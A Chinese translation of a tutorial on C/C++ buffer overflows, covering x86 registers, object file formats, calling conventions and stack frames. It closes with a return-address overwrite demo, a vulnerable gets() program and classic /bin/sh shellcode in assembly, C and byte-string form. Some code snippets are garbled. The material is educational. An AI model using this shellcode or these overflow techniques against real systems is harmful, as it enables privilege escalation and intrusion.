C/C++ and Buffer Overflow Topics


C/C++ and Buffer Overflow Topics

原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处、作者信息和本声明。否则将追究法律责任。http://blog.csdn.net/taotaoyouarebaby/article/details/24010649

 之前翻译的一份文档,未逐字翻译,只翻译了主要知识点。复制到网页后,格式有点乱,提供PDF下载

英文原文网址:http://www.tenouk.com/cncplusplusbufferoverflow.html

缓冲区溢出由于病毒与蠕虫在互联网的大规模影响而为人熟知。C/C++程序因为缓冲区溢出,产生了许多安全问题。

 

1.  介绍

1.1. 产生缓冲区溢出的情况:

n  使用非类型安全的语言:C/C++,无数组边界检查和类型安全检查。

n  以不安全的方式操作或复制一个栈缓冲区。

eg:未正确使用strcpy(), gets(), scanf(), sprintf(), strcat()操作字符串,导致其它区域被复写。

 

n  编译器将缓冲区与重要的数据结构放的太近

缓冲区与函数返回地址、virtual-table,局部变量,异常handler地址,函数指针都放在栈中相邻区域。使得可以通过缓冲区溢出,覆写以上重要的数据结构,从而引导程序执行恶意代码。

比如:如果将函数返回地址改为恶意代码地址,那么在函数返回时就会执行相应的恶意代码。

1.2. 缓冲区溢出的后果:

www.cert.org             Computer Emergency Response Team (CERT)

www.frsirt.com  代码示例

www.caida.org    病毒与蠕虫攻击的分析

n  程序崩溃。

n  运行恶意代码。

1.3. 缓冲区溢出的相关概念

缓冲区(Buffer):一块内存区域,用于存储变量。有以下两种类型的缓冲区:

n  栈(Stack):运行时隐式分配的,用于存储变量的一块内存区域。结构。

n  堆(Heap):运行时显示分配的,用于存储变量的一块内存区域。结构。

 

溢出类型

描述

栈溢出

向一个缓冲区写入数据时,大于了分配给它的内存大小。很有可能复写栈中的其它重要数据,进而破坏栈结构。通常是由于未检查用户输入数据造成的。

堆溢出

与栈溢出类似。这类溢出不易被恶意利用。

数组溢出

数组下标为负,或大于最大下标。

 

2.  X86架构基础——32位处理器

2.1. 基本的寄存器

寄存器种类

 

8个32位的通用寄存器

6个16位的段寄存器/段选择器

FS、GS在Itel32中引入的

1个32位的的标志寄存器(EFLAGS)

1个32位的指令寄存器(EIP)

 

 

通用寄存器的主要作用:

Register Name

Size (in bits)

Purpose

AL, AH/AX/EAX

8,8/16/32

也叫做累加器,主要用于保存算术运算结果和函数返回值

BL, BH/BX/EBX

8,8/16/32

基址寄存器,指向DS段中的数据,用于保存程序的基址。

CL, CH/CX/ECX

8,8/16/3

计数器,通常用于循环计数和字符串操作

DL, DH/DX/EDX

8,8/16/32

通常用于I/O操作,也用于扩展EAX为64位。

SI/ESI

16/32

源地址寄存器。指向DS段中的数据,常被用来作为字符串和数组操作中的偏移量,保存数据源的地址。

DI/EDI

16/32

目的地址寄存器。指向ES段中的数据,常被用来作为字符串和数组操作中的偏移量,保存目标地址。

BP/EBP

16/32

栈基址指针寄存器。保存当前栈结构底部的地址,指向SS段中的数据,通常用于引用局部变量。

SP/ESP

16/32

栈顶指针寄存器(SS)。指向当前栈结构的顶部,也用于引用局部非静态变量。

 

2.2. 段寄存器

6个段寄存器保存了段地址的高16位(低位为0),由此定位内存中的段。4个数据段寄存器:DS, ES, FS, GS。为高效而安全的访问不同类型的数据提供了支持。

 

eg:可能的4种数据段

l  当前模块的数据

l  上层模块输出的数据

l  动态创建的数据

l  程序间共享的数据

 

X86段寄存器及其用处:

寄存器

目的

CS

16

代码段寄存器。代码段基地址(.text 段), 用于获取指令。

这些段寄存器用于将程序分成不同的部分。当程序执行时,各段的基地址赋给了段寄存器。通过段寄存和偏移量就可以操作程序的不同内存区域。

DS

16

数据段寄存器。 数据的默认基地址(.data 段), 用于操作数据。。

ES

16

Extra段寄存器,用于字符串操作。

SS

16

栈段寄存器,栈段的基地址,配合SP, ESP, BP, EBP使用。

FS

16

通用的段寄存器

GS

16

注:

l  CS不能由程序设置。

l  SS可以能和程序设置,从而一个程序可以有多个栈。

 

2.3. 内存模型

内存模型

支持的地址

 flat 内存模型

near pointers (32 bits)

segmented内存模型

near pointers (32 bits)、far pointers (48 bits)

real-address模式内存模型

20bit bus

 

2.3.1.  Flat内存模型

线性地址空间:一个程序的代码、数据和栈全都在该地址空间中。

2.3.2.  Segmented内存模型

程序使用的内存被分为几个独立的地址空间(叫做段)代码、数据和栈通常被分成单独的段。段模型的地址究竟与处理器的物理地址空间之间的映射:直接映射与分页机制(虚拟内存:段地址->虚拟内存地址->物理地址)

 

地址定位:

segment:offset

 

计算:

通常的段寄存器使用方式:

 

2.3.3.  real-address mode (实模式)内存模型

用于兼容8086程序。内存分段,每段<=64KB,最大访存空间1M.

2.4. 标志寄存器

标志类型:状态、控制、系统标志

 

2.4.1.  状态标志:

Flag

Bit

Purpose

CF

0

进位标志。算术操作中,如果最高位发生进位或借位则被设置上,否则清空。该标志指示了无符号整型变量,在算术运算时的溢出情况。它也可用于多精度算术运算。

PF

2

Parity flag.  Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise.

AF

4

Adjust flag.  Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result, cleared otherwise.  This flag is used in Binary-Coded-Decimal (BCD) arithmetic.

ZF

6

Zero flag.  Set if the result is zero, cleared otherwise.

SF

7

Sign flag.  Set equal to the most-significant bit of the result, which is the sign bit of a signed integer.  0 indicates a positive value, 1 indicates a negative value.

OF

11

Overflow flag.  Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise.  This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic.

 

2.5. EIP指令地址寄存器

不能通过指令显式操作,只能利用程序流程控制指令操作,此外在调用函数时可以从函数栈中取得。

Register

size (bits)

Purpose

IP/EIP

16/32

保存下一条要执行的指令的地址。

 

2.6. 控制寄存器

32位的控制寄存器(CR0, CR1, CR2, CR3, and CR4)用于决定处理器的执行模式,以及当前所执行的任务的特性。

Control Register

Description

CR0

控制标识,用于控制处理器的执行模式与状态

CR1

保留

CR2

包含产生缺页的线性地址。

CR3

包含页目录的基址(物理地址)和两个标识(PCD and PWT)。也叫:页目录基址寄存器(PDBR)。 只有页目录基址只有高20位被指定,低12位设定为0。

When using the physical address extension, the CR3 register contains the base address of the page-directory-pointer table.

CR4

Contains a group of flags that enable several architectural extensions.  In protected mode, the move-to-or-from-control-registers forms of the MOV instruction allow the control registers to be read (at any privilege level) or loaded (at privilege level 0 only). This restriction means that application programs (running at privilege levels 1, 2, or 3) are prevented from loading the control registers; however, application programs can read these registers.

 

2.7. 小端与大端

CD12AB90H

Big Endian

Little Endian

高位à低地址

高位à高地址

CD12AB90H

CD12AB90H

 


 

3.  汇编语言

通用规则:

l  源:内存、寄存器、常量

l  目标:内存、非段寄存器

l  源与目标不能同时为内存

l  源与目标必须具有同样大小。(位?)

 

指令分类:

Instruction Category

Meaning

Example

Data Transfer

move from source to destination

mov, lea, les, push, pop, pushf, popf

Arithmetic

arithmetic on integers

add, adc, sub, sbb, mul, imul, div, idiv, cmp, neg, inc, dec, xadd,

cmpxchg

Floating point

arithmetic on floating point

fadd, fsub, fmul, div, cmp

Logical, Shift, Rotate and Bit

bitwise logic operations

and, or, xor, not, shl/sal, shr, sar, shld and  shrd,  ror, rol, rcr and rcl

Control transfer

conditional and unconditional jumps, procedure calls

jmp, jcc, call, ret, int, into, bound.

 

String

move, compare, input and output

movs, lods, stos, scas, cmps, outs, rep, repz, repe, repnz, repne, ins

I/O

输入输出

in, out

Conversion

汇编数据类型转换

movzx, movsx, cbw, cwd, cwde, cdq, bswap, xlat

Miscellaneous

manipulate individual flags, provide special processor services, or handle privileged mode operations

clc, stc, cmc, cld, std, cl, sti

 

 

 

 

 

 

 

 


 

4.  编译器、汇编器、链接器和加载器

处理流程:

 

4.1. 对象文件与可执行文件

对象文件格式:

Object File Format

Description

a.out

a.out格式是UNIX最初的执行文件格式。它由一部分组成:text, data, 和bss,分别表示代码, 已初始化数据, 和未初始化数据。 不包含调试信息。

COFF

COFF (Common Object File Format) 格式由System V Release 3 (SVR3) Unix引入。 COFF 可以有多个部分,每部分以一下特定的header作为前缀,数量受限。支持调试,但调试信息有限。

ECOFF

COFF的变种。  ECOFF 为 Mips and Alpha 工作站设计.

XCOFF

XCOFF (eXtended COFF),COFF sections, symbols, and line numbers are used, 调试信息保存在.debug section (rather than the string table).  The default name for an XCOFF executable file is a.out.

PE

PE(Portable Executable) 是由 COFF 和其它一些头信息构成。Windows 9x and NT使用PE做执行文件的格式。

ELF

ELF (Executable and Linking Format) 格式由 System V Release 4 (SVR4) Unix引入。  ELF与 COFF 相似,但没有COFF的一些限制。 ELF 被用于现代UNIX系统、GNU/Linux, Solaris 和Irix。也用于一些嵌入式系统。

SOM/ESOM

SOM (System Object Module) and ESOM (Extended SOM) is HP‘s object file and debug format

 

 

Section可能包含的内容:

l  代码

l  数据

l  动态链接信息

l  调试信息

l  符号表

l  重定位信息

l  注释

l  字符串表

l  Note

 

 

所有可执行文件格式都包含的Section:编译器不同可能名称不同。

Section

Description

.text

包含程序指令,该程序的所有进程共享此部分。READ, EXECUTE权限。

.bss

BSS(Block Started by Symbol)包含未初始化的全局变量与静态变量。 因为BSS包含的变量没有值,所有该部分并没有保存变量的映像,只是在对象文件中记录运行时该部分需要的内存大小。也就是说,.BSS并没有占用实际的对象文件空间

.data

包含已初始化的全局变量与静态变量,以及。 该部分往往是可执行文件中最大的。READ/WRITE权限。

.rdata

也叫做.rodata (read-only data) section. 包含常量与字符串常量

.reloc

保存在加载时,重定位映像所需要的信息。

Symbol table

符号表:也就是变量/函数名,及其定义地址(相对于段的偏移量)。 包含定位程序符号引用与定义时,所需要的信息。

Relocation records

Relocation 是连接符号引用与定义的过程。 relocation records用于链接器调整section内容。

 

4.2. Relocation Records

Relocation:分配加载地址,并按加载地址调整程序与数据的过程。在链接器对Object文件进行链接时,需要将所有Object文件中的相同section进行合并,并重新分配section的地址,从而合并为一个单独的可执行文件。进而导致可能需要修改原section中的部分symbol地址,使其满足新的section。

 

Relocation Records:是由编译器与汇率器创建的一个指针列表,保存在对象文件或可执行文件中。每一个条目表示了加载器重定位时需要修改的地址。用于支持程序的重定位。

 

4.3. Linker

使源文件单独编译成为可能。

4.3.1.  动态链接

对于C标准库中的函数,如果每个程序都单独复制一份,那么会造成很大的浪费。因此,将这类链接延迟到运行时进行。链接器只是将动态链接所需要知道的信息放到了可执行文件中:代码存在于哪个共享库中使用哪个运行时链接器去查看和链接。

 

优点:

l 程序更

l 使得动态升级程序成为可能。通过DLL

l 可以使程序有计划的自行加载当前需要的模块

l  与虚拟内存结合,使得进程可以共享同一份代码,大大节省了内存。

 

4.3.2.  静态链接

将程序依赖的代码全部链接进来。适用于程序运行时,环境中找不到需要链接的标准库版本。缺点是生成的文件很大。

eg: GCC静态链接

gcc -static filename.c -o executable-filename

 

4.4. 怎样使用共享的Object文件

4.4.1.  ELF格式详情

简化了共享库实现,增强了运行时模块的动态加载。使用Hash表进行symbol查找。

 

ELF section列表:

 //从低到高

.init - Startup

.text - String

.fini - Shutdown

.rodata - Read Only

.data - Initialized Data

.tdata - Initialized Thread Data

.tbss - Uninitialized Thread Data

.ctors - Constructors

.dtors - Destructors

.got - Global Offset Table

.bss - Uninitialized Data

 

简化的ELF文件格式:

Linking View :Section,包含指令、数据、重定位信息、符号表、调试信息……

Execution View :Segment,合并了对象文件中相关的Sections(也许是不同类型的Section,比如:.data与bbs被合并)为一个段。通常可执行代码与只读数据的section被合并为一个text段。其中有些段是需要加载的,但有些段是不需要加载的。

操作系统利用Program Header table提供的信息加载需要的段,并且可以利用这些段来生成共享的内存资源。

 

4.4.2.  进程加载

Linux进程将ELF格式文件从文件系统中加载。如果文件系统是块设备,则需要将代码与数据加载到主存中;如果文件系统是由内存映射的(eg:ROM/FLASH),代码将在原地执行。如果相同的进程被加载了多次,那么它的代码将被共享。程序需要先加载,之后才能运行。

 

加载器Loader的加载过程:

 

1.    内存与接入权限验证:

操作系统读取程序文件中的头信息,之后验证type,access permissions and right, 内存需求,以及是否支持程序指令。验证文件是可执行文件,并计算内存需求。

 

2.    进程安装

1)  分配主存

2)   将地址空间从辅存复制到主存

3)   复制.text, .data 段到主存

4)   复制程序参数(如:命令行参数)到堆栈

5)   初始化寄存器:设置ESP指向栈顶,清空其它。

6)   跳到启动点:复制main()的参数,跳到main()函数。

 

简化的进程内存空间:

注意Stack与Heap的位置与增长方向。

 

4.4.3.  进程运行时的数据结构

内存分配的不同区域及含义:

区域

描述

Code/text segment

text段,保存指令,对应执行文件中的text section。任何时候,一个程序的指令在内存中只有一份。

Initialized data – data segment

包含初始化为非0值的静态变量和全局变量,对应执行文件中的data section。同一程序的每个进程拥有单独的data段。

Uninitialized data – bss segment

BSS 表示‘Block Started by Symbol’.  包含初始化为0值的静态变量和全局变量。进程私有。在ELF格式中,只有非0值变量才占用可执行文件的空间。

Heap

动态内存区域,由malloc(), calloc(), realloc() and new – C++等进行分配,并通过指针来操作。 紧随bss段,Heap结束位置由break指令标记,大小可以通过brk(), sbrk()进行扩展(改变break指针)。向地址增大方向增长。

Stack

栈段保存局部非静态变量,如:局部非静态变量,临时信息与数据,函数参数,返回地址。当前调用函数时,对需要的信息进行压栈,返回时弹出栈。 向地址减小方向增长(与Heap相反)。

 

当程序运行时,initializeddata, BSS and heap areas通常合并为data段,stack段和 code/text 段是与data段分离的。

Sections vs Segments:executable program segments andtheir locations.

Executable file section

(disk file)

Address space segment

Program memory segment

.text

Text

Code

.data

Data

Initialized data

.bss

Data

BSS

-

Data

Heap

-

Stack

Stack

 

 

4.4.4.  进程

进程空间中位于stack与heap中间的区域是保留给共享代码的。

典型的C程序进程的内存布局(X86):

4.4.5.  运行时链接器与共享库加载

 

对于共享代码的链接时间:

l  加载时动态链接:加载到内存时进行链接

l  运行动态链接:引用时才进行链接

链接器的链接步骤:

共享库:提供其依赖的其它库信息,需要的重定位操作,查找外部符号。

1.    链接器开始加载共享库依赖的其它库(递归进行)

2.    为每个库,执行需要的重定位操作和涉及到的符号查找操作。

3.    在共享库的.initsection注册的初始化函数将会被调用。

 

4.4.6.  动态地址翻译

动态定位/动态地址翻译提供了以下错觉:

l  每个进程都能使用使0到Max的地址空间

l  地址究竟是受保护的

l  进程可以认为其可以使用的内存(虚拟内存)大于物理内存大小。

 

地址翻译由内存管理单元(MMU:Memory Management Unit)与处理器协作完成。

 

 

5.  C/C++函数操作

5.1. C函数

语法:

global_variables;

 

int main(int argc, char *argv[])

{

  function_name(argument list);

  function_return_address here

}

 

return_type function_name(parameter list)

{

  local_variables;

 

  static variables;

  functions code here

  return something_or_nothing;

}

 

函数调用通过栈实现。发生函数调用时,需要的信息将被压栈,函数返回时将内容出栈。

栈的使用,进程地址空间与物理地址空间映射:

 

 

5.2. 函数调用约定(VC++)

描述了函数调用时栈的创建与销毁操作是如何进行的。不同的函数调用规则,方式不同。

5.2.1.  函数调用的一般过程:

还可参考:Win/Intel平台,函数调用过程的数据入栈顺序

1.       所有参数都被增宽到4字节 (onWin32, of course),并被存储到合适的内存位置。通常的位置是,也可能是寄存器,由调用规则不同而不同。

2.       程序执行流程跳转到被调用函数(地址)

3.       进入函数后,ESI,EDI, EBX, EBP 寄存器值被保存到栈上,该操作由编译器自动生成的代码执行。

4.       函数指令被执行,返回值保存在EAX中。

5.       从栈上恢复ESI,EDI, EBX, EBP的值。 该操作由编译器自动生成的代码执行。

6.       清除栈上保存的参数,也叫做清栈。该操作可以由调用者或被调用者执行,取决于调用规则。

 

5.2.2.  具体指定以下三种规则:

1.       函数参数压栈顺序

2.       清栈是调用者还是被调用函数的任务

3.       函数名命名规则:编译器用来标识一个函数的名字

 

5.2.3.  VC++支持的函数调用规则:

只有__cdecl是由调用者清栈。

keyword

Stack cleanup

Parameter passing

__cdecl

caller

函数参数从右到左进行压栈,调用者清栈。这是C/C++的默认调用方式。__cdecl调用方式产生的执行文件比__stdcall产生的要大,因为每个函数都需要清栈代码。但支持变长参数列表

__stdcall

callee

也叫做 __pascal。 函数参数从右到左进行压栈,被调用者清栈,需要一个函数原型(?)。Win32 API函数的标准调用方式(WINAPI)。

__fastcall

callee

参数优先考虑通过寄存器传递,其次是栈,被调用者清栈。最开头的两个<=32bit的参数分别由ECX, EDX传递,其它的按右到左的顺序压栈。

 

Thiscall

callee

C++成员函数的调用方式。压栈顺序从右到左this指针由ECX传递。对于带可变参数列表的的成员函数,this指针的传递方式不同,this指针最后入栈。被调用者清栈。

 

5.2.4.  代码中指定函数调用规则:

// Borland and Microsoft

void __cdecl TestFunc(float a, char b, char c);  

 

// GNU GCC

void  TestFunc(float a, char b, char c)  __attribute__((cdecl)); 

 

5.2.5.  清栈的汇编表示:

/* example of __cdecl */

push arg1

push arg2

call function

add ebp, 12   ;stack cleanup

 

/* example of __stdcall */

push arg1

push arg2

call function

/* no stack cleanup, it will be done by caller */

 

 

5.3. 链接符号与名称修饰

void CALLTYPE TestFunc(void)

 

Calling convention

extern "C" or .c file

.cpp, .cxx

Remarks

__cdecl

_TestFunc

?TestFunc@@ZAXXZ

参数数目并不重要,因为调用者负责创建和销毁栈。

__fastcall

@TestFunc@N

?TestFunc@@YIXXZ

N—参数的byte数,0表示void。

__stdcall

_TestFunc@N

?TestFunc@@YGXXZ

N—参数的byte数,0表示void。

 

示例:C语言

Function declaration/prototype

Decorated name

void __cdecl   TestFunc(void);

_TestFunc

void __cdecl   TestFunc(int x);

_TestFunc

void __cdecl   TestFunc(int x, int y);

_TestFunc

void __stdcall   TestFunc(void);

_TestFunc@0

void __stdcall   TestFunc(int x);

_TestFunc@4

void __stdcall   TestFunc(int x, int y);

_TestFunc@8

void __fastcall   TestFunc(void);

@TestFunc@0

void __ fastcall   TestFunc(int x);

@TestFunc@4

void __ fastcall   TestFunc(int x, int y);

@TestFunc@8

 

5.4. 函数调用栈

函数调用中涉及的寄存器:

Register

Description

ESP – Stack Pointer

通过PUSH, POP, CALL,RET来修改,总是指向当前栈的栈顶。

EBP – Base Pointer

也叫做: Frame Pointer.  直接通过偏移量操作参数与局部变量。

EIP – Instruction Pointer

下一条指令的地址。

 

函数调用的栈:


 

6.  Stack

6.1. 处理器的Stack Frame布局

不同操作系统可以有所不同。由上图可知,如果缓冲区溢出,可以覆写其它重要的数据结构。

6.1.1.  Win/Intel平台,函数调用过程的数据入栈顺序

参考:函数调用的一般过程:

1.       在进行函数调用之前,参数被压栈(右->左)

2.       函数返回地址(执行call指令时的EIP值),由call指令入栈。

3.       栈帧指针(EBP)入栈。保存之前的栈帧地址。

4.       如果函数包含异常处理结构(try/catch, SEH<Structured Exception Handling>),编译器添加的异常处理上将入栈。

5.       分配局部变量、缓冲区空间

6.       最后,被调用者将EBX, ESI,EDI寄存器值被入栈。对于Linux/Intel,这一步发生在第四步之后。

 

6.2. 处理器的栈操作

指令

描述

PUSH

*--SP = src.

POP

dst = *SP++

PUSHAD

将通用寄存器值入栈。

POPAD

将通用寄存器值出栈。

PUSHFD

将EFLAGS寄存器值入栈。

POPFD

将EFLAGS寄存器值出栈。

 

6.3. 函数调用过程及栈的分析

6.3.1.  程序源码

#include <stdio.h>

 //MyFunc(7, ‘8’);

int MyFunc(int parameter1, char parameter2)

{

int local1 = 9;

char local2 = ‘Z’;

return 0;

}

 

6.3.2.  与函数调用和栈操作相关的汇编代码,分析

在main函数中调用MyFunc函数:

;in main

    MyFunc(7, ‘8‘);

01281B1E  push        38h         ; ‘8’入栈, 从右往左入栈

01281B20  push        7            ;  7入栈

01281B22  call        @ILT+460(_MyFunc) (12811D1h)  ;调用函数,函数返回地址(EIP:01281B27 )入栈

01281B27  add         esp,8       ; 将MyFunc函数栈清空

 

函数符号表及跳转指令:

@ILT+460(_MyFunc):    ;函数修饰名

12811D1 jmp         MyFunc (01281490h

 

MyFunc函数:

int MyFunc(int parameter1, char parameter2)

{

01281490  push        ebp       ;保存调用者的EBP,位于MyFunc的[EBP+0]位置

01281491  mov         ebp,esp   ;ESP的值成为MyFunc的EBP值,ESP,EBP指向相同位置。

01281493  sub         esp,0D8h  ;减去216字节,为变量和缓冲区分配空间。ESP位于[EBP-216]的位置

01281499  push        ebx        ;push ebx        at [EBP-220]

0128149A  push        esi        ;push esi        at [EBP-224] 

0128149B  push        edi        ;push edi        at [EBP-228]

//...

    return 0;

012814B9  xor         eax,eax    ;清空EAX,返回值为0

}

012814BB  pop         edi         ;恢复edi         from [EBP-228]

012814BC  pop         esi         ;恢复esi         from [EBP-224] 

012814BD  pop         ebx         ;恢复ebx         from [EBP-220] 

012814BE  mov         esp,ebp    ;清空局部变量与缓冲区空间,ESP, EBP指向相同位置

012814C0  pop         ebp         ;恢复调用者的EBP

012814C1  ret                      ;将返回地址(01281B27H)从栈(MyFunc的[EBP+4]位置)载入EIP中,

                                     ;执行后继指令

 

//back to  main

01281B27  add         esp,8       ; 清空函数参数,7和’8’共8byte(参数都扩充为了4byte)

注意:栈帧大小必须是栈宽度(stackslot)的整数倍。所以栈宽为32bit的栈,5字节的数据实际占用8字节内存,10字节数据实际占用12字节内存。

6.3.3.  函数调用栈内存布局

EBP寄存器被用来与偏移一起索引栈上的数据。

重要数据结构

栈地址

函数最左边的参数

[EBP+8]

函数返回地址/旧EIP

[EBP+4]

旧栈帧指针/旧EBP

[EBP+0]

第一个局部变量

[EBP-4]

EBX, ESI, EDI

ESP, ESP-4, ESP-8

 

6.3.4.  定位返回地址

int main(int argc, char *argv[ ])

{

        char buffer[12];

        strcpy(buffer, argv[1]);

        return 0;

}

 

l  使用gcc2.96或更低版本的栈内存布局

函数返回地址位置:&frist_local_var+ 4(EBP) + 4(ret)

 

l  使用gcc2.96或更高版本的栈内存布局

函数返回地址位置:&first_local_var+ (dummy) + 4(EBP) + 4(ret),根据dummy大小调整偏移量

6.3.5.  示例:修改返回地址

void hello()

{

    printf("hello\n");

    return ;

}

 

void *(int a,int b)

{

    int buf[2] = {1,2};

    int *p;

    p = &a - 1;      //函数返回地址

    *p = (int)hello;

    return ;

}

 

int main(void)

{

    *(1, 2);

   

    getchar();

    return EXIT_SUCCESS;  

}

 

//

// 运行结果: hello

//

 

 

6.4. 寄存器使用

通用寄存器

l  ESP, EBP用于管理函数进出;

l  EBX, ESI, EDI必须在进入函数后入栈保存旧值;

l  ECX, EDX, EAX只有在需要时,才入栈保存旧值。

进入函数时常见的代码片段:

push ebx

push esi

push edi

; here should be codes that uses

; the EBX, ESI and EDI

;

 

pop edi

pop esi

pop ebx

ret

 

6.4.1.  GCC与C调用规则——标准栈帧

Steps

32-bit code/platform

创建标准栈帧,为局部变量与缓冲区分配32byte的空间。保存寄存器值。

push ebp

mov  ebp, esp

sub  esp, 0x20

push edi

push esi

...

恢复寄存器值,销毁标准栈帧

...

pop esi

pop edi

mov esp, ebp

pop ebp

ret

栈的宽度

32 bits

栈帧槽的位置

...

[ebp + 12]

[ebp + 8]

[ebp + 4]

[ebp + 0]

[ebp 4]

...

 

6.4.2.  GCC与C调用规则——返回值

C函数返回值存放位置:

Size

32-bit code/platform

8-bit return value

AL

16-bit return value

AX

32-bit return value

EAX

64-bit return value

EDX:EAX

128-bit return value

hidden pointer

 

6.4.3.  GCC与C调用规则——保存寄存器值

被调用者需要保存的寄存器:

  EBX, EDI, ESI, EBP, DS, ES, SS

 

不需要保存的寄存器:

  EAX, ECX, EDX, FS, GS, EFLAGS, floating pointregisters

一些操作系统中,FS, GS段寄存器被用于保存线程局部存储空间地址,如果你要修改它们,那也需要保存。

7.  基于栈的缓冲区溢出与利用

下面的测试代码主要用于实现以下目的:覆写栈上保存的EBP和返回地址。通过gets()这个不安全的函数实现以上数据的覆写。

/* test buffer program */

#include <unistd.h>

 

void Test()

{

   char buff[4];

   printf("Some input: ");

   gets(buff);

   puts(buff);

}

 

int main(int argc, char *argv[ ])

{

   Test();

   return 0;

}

 

 

输入12个A:

在实际的攻击中,会利用有意义的地址(攻击代码所在地址)对返回地址进行覆写。

 

7.1. 缓冲区溢出攻击中的目标

l  注入攻击代码(命令行输入、socket输入,或其它高级方法)

l  改变程序正常执行路径(通过覆写返回地址实现),执行攻击代码。

 

7.2. 基于栈的缓冲区溢出利用的变异

l  利用程序自身存在的缓冲区溢出漏洞,欺骗函数将大于缓冲区的数据写入,从而覆写返回地址,将执行路径导向攻击代码。这种方式可以通过多种途径阻止。

l  利用程序使用的共享库中存在的缓冲区溢出漏洞,覆写返回地址。

缓冲区溢出攻击时,攻击时必须要大致的知道返回地址的所在位置。

利用不可执行栈(不能在栈上执行代码)就可以阻上大部分这类型的攻击。

 

7.2.1.  更高级更新的攻击手段:覆写其它地址

l  函数指针

l  ELF文件中的GOT指针(.got)

l  ELF文件中的DTORS块(.dtors)

阻止手段:随机化以下地址

l  共享库

l  栈

l  程序堆

8.  Shellcode

8.1. 基本概念

产生shell/命令行环境代码,缓冲区溢出时覆写的返回地址,通常就是shellcode代码所在的地址。而shellcode通常是提前编译,并将其二进制代码利用char数组保存为全局变量。当程序由修改的返回地址转到该全局变量所在位置时,就能执行该代码,从而创建一个shell环境。利用得到的shell环境可以执行攻击命令。

广义是讲,只要通过上述方式运行另一个程序的代码都叫做shellcode。

通常目标:通过有较高权限的程序,使得创建的shell具有root权限(在Windows中就是管理员权限或更高的LocalSystem权限)。

8.1.1.  通常的缓冲区溢出攻击涉及两个主要方面:

l  缓冲区溢出漏洞的利用技术

l  获得高权限的运行环境(playload),用于运行任意代码

 

8.1.2.  使程序运行shellcode的技术:

l  基于栈的缓冲区溢出

l  基于堆的缓冲区溢出

l  整数溢出

l  格式化字符串

l  竞争条件

l  内存污染

 

8.1.3.  Shellcode元素

shellcode必须是二进制形式的代码。不能含有’\0’, 0X0A, 0X0D, ‘\’, nop。可以使用Encoder工具消除它们。

写的时候需要考虑:处理器,操作系统,网络防护软件(如:防火墙),入侵检测系统(IDS:Intrusion DetectionSystem)

8.2. Shellcode的不同表现形式

8.2.1.  汇编

#a very simple assembly (AT&T/Linux) program for spawning a shell

.section .data

.section .text

.globl _start

 

_start:

         xor %eax, %eax

         mov $70, %al           #setreuid is syscall 70

         xor %ebx, %ebx

         xor %ecx, %ecx

         int $0x80

 

         jmp ender

 

         starter:

         popl %ebx              #get the address of the string

         xor  %eax, %eax

         mov  %al, 0x07(%ebx)   #put a NULL where the N is in the string

         movl %ebx, 0x08(%ebx)  #put the address of the string

                                #to where the AAAA is

         movl %ebx, 0x0c(%ebx)  #put 4 null bytes into where the BBBB is

         mov $11, %al           #execve is syscall 11

         lea 0x08(%ebx), %ecx   #load the address of where the AAAA was

         lea 0x0c(%ebx), %edx   #load the address of the NULLS

         int $0x80              #call the kernel

 

ender:

         call starter

         .string "/bin/shNAAAABBBB"

 

8.2.2.  C语言

#include <unistd.h>

 

int main(int argc, char*argv[ ])

{

   char *shell[2];

 

   shell[0] = "/bin/sh";

   shell[1] = NULL;

   execve(shell[0], shell, NULL);

   return 0;

}

 

8.2.3.  字符串

char shellcode[ ] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50

                         \x53\x89\xe1\x99\xb0\x0b\xcd\x80";

 

8.3. 创建可移植的shellcode

要创建可移植的shellcode,代码中就不能出现硬编码的地址(比如:字符串参数地址)。

.section .data

#only use register here...

.section .text

.globl _start

 

jmp      dummy

 

_start:

         #pop register, so we know the string location

         #Here we have assembly instructions which will use the string

 

dummy:

         call     _start

 

.string "Simple String"

dummy标签中使用call调用_start标签,主要是为了利用call会将其后的指令地址(EIP)作为返回地址压入栈中,这样一来就可以在_start标签中,从栈上弹出字符串地址。如下图所示:

图表1获取字符串地址的技巧

利用这种方法,可以将多个.string放到call指令之后,利用相对位置就可以得到.string数据的位置。

 

9.  附录

9.1. 中英名词对照

stack frame/frame:栈帧,栈中一个函数占据的空间。

section:块

function decorated name:函数修饰名,编译器用来标识一个函数的名称,也就是函数ID(唯一性)。

non-executable stack:不可执行栈,栈上不能执行代码。

C/C++ and Buffer Overflow Topics,布布扣,bubuko.com

C/C++ and Buffer Overflow Topics

上一篇:Senparc.Weixin微信开发(3) 自定义菜单与获取用户组


下一篇:Spring Boot 事务的使用